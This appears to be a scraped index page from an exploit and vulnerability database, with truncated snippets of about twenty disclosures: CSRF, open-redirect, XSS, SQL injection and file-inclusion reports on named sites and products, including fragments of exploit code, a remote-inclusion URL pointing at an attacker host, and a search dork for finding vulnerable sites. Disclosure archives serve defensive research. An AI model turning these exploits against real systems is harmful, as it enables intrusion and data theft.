Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery)

function submitRequest var xhr = new XMLHttpRequest; xhr.open"POST", "https://sftp.example.org/api/v1.0/files/", true; xhr.setRequestHeader"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8"; xhr.setRequestHeader...

old.leginet.eu Open Redirect vulnerability

Open Bug Bounty ID: OBB-50929 Description| Value ---|--- Affected Website:| old.leginet.eu Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4...

lupa18.org Open Redirect vulnerability

Open Bug Bounty ID: OBB-49930 Description| Value ---|--- Affected Website:| lupa18.org Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:N Remediation Guide:| OWASP Open Redirect Cheat Sheet Vulnerable...

用友软件协作办公平台通用DBA权限SQL注入漏洞之三

简要描述： 与http://www.wooyun.org/bugs/wooyun-2014-072183非同目录下 详细说明： system/config/selectUDR.jsp 漏洞证明： 1.http://oa.danzi.com.cn:9090/system/config/selectUDR.jsp?id=1 2.http://fsd2014.f3322.org:9090/system/config/selectUDR.jsp...

crics8.org XSS vulnerability

Open Bug Bounty ID: OBB-47479 Description| Value ---|--- Affected Website:| crics8.org Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

Photo Org WonderApplications v8.3 iOS - File Include Vulnerability

Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID VL-ID:...

Photo Org WonderApplications 8.3 iOS - File Include Vulnerability

No description provided by source. Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID...

Photo Org WonderApplications 8.3 File Inclusion

Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID VL-ID:...

Photo Org WonderApplications 8.3 iOS - Local File Inclusion

Photo Org WonderApplications 8.3 iOS - Local File Inclusion Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04...

Photo Org WonderApplications 8.3 iOS - Local File Inclusion

Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID VL-ID:...

Photo Org WA v8.3 iOS - File Include Vulnerability

Document Title: =============== Photo Org WA v8.3 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1277 Release Date: ============= 2014-07-03 Vulnerability Laboratory ID VL-ID: ==================================== 1277...

Portail PHP <= 1.7 (chemin) Remote Inclusion Vulnerability

No description provided by source. Portail PHP v1.7 - chemin Remote Inclusion Vulnerability Author: xoron script: Portail PHP Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $chemin/include/config.php Exploit: http://www.site.com/path/modmembre/inscription.php?chemin=http://evilscripts...

gyro 5.0 (sql/xss) Multiple Vulnerabilities

No description provided by source. +=================================================================+ ||A |||n |||t |||i |||S |||c |||e |||r |||u |||t |||i |||y || ||||||||||||||||||||||||||||||||||||| |/|/|/|/|/|/|/|/|/|/|/|/|...

Nullsoft SHOUTCast 1.8.9 - Remote Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/4934/info Nullsoft SHOUTcast Server is used to broadcast Shoutcast music. SHOUTcast Server is available for Windows, Linux and a number of other Unix based platforms. A remote buffer overflow vulnerability has been report...

WireShark < 0.99.6 MMS Remote Denial of Service Exploit

No description provided by source. include winsock2.h include stdio.h pragma commentlib, ws232 char http = POST / HTTP/1.0\r\n Content-Type: application/vnd.wap.mms-message\r\n; char hoststr = Host: %s:%d\r\n; char contentlenstr = Content-Length: %d\r\n\r\n; unsigned char mms =...

MS Windows ASN.1 - Remote Exploit (MS04-007)

No description provided by source. Microsoft ASN.1 remote exploit for CVE-2005-1935 // MS04-007 Solar Eclipse solareclipse at phreedom dot org http://www.exploit-db.com/sploits/12262006-killbill.tar.gz milw0rm.com 2004-03-26...

Jinzora <= 2.6 (extras/mt.php) Remote File Include Vulnerability

No description provided by source. ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ---- Jinzora 2.6 - Remote File Include Vulnerabilities site : Www.Hack-Medya.Org Script : http://www.jinzora.com/downloads/j2.6.zip Credits : ERNE Contact : [email protected] Thanks : Liz0zim, Bitter.Melish, D3ngsz, Rmx,...

PostNuke <= 0.750 readpmsg.php SQL Injection Exploit

No description provided by source. !/usr/bin/perl This tools is only for educational purpose K-C0d3r a x0n3-h4ck friend !!! This exploit should give admin nick and md5 password -= PostNuke SQL Injection version : x= 0.750=- -= =- -= Discovered by sp3x =- -= Coded by K-C0d3r =- -= irc.xoned.net...

Internet Explorer 9 Memory Corruption Crash PoC

No description provided by source. ?php / Internet Explorer 9 Memory Corruption PoC Exploit Successfully executed with IE9 version 9.0.8112.16421 Discovered by Jean Pascal Pereira [email protected] / settimelimit0; iniset'memorylimit', '300M'; if!fileexistsjunk.htm $string = span id='; for$i = 0;...

Vastal I-Tech SQL Injection Vulnerability

No description provided by source. IN THE NAME OF GOD Vastal I-Tech SQL Injection Vulnerability Author : HELLBOY Tested on Lunix CVE : N/A Email : [email protected] Dork : inurl:viewgroup.php?groupid= Exploit : http://site/viewgroup.php?groupid=SQLI EXAM:...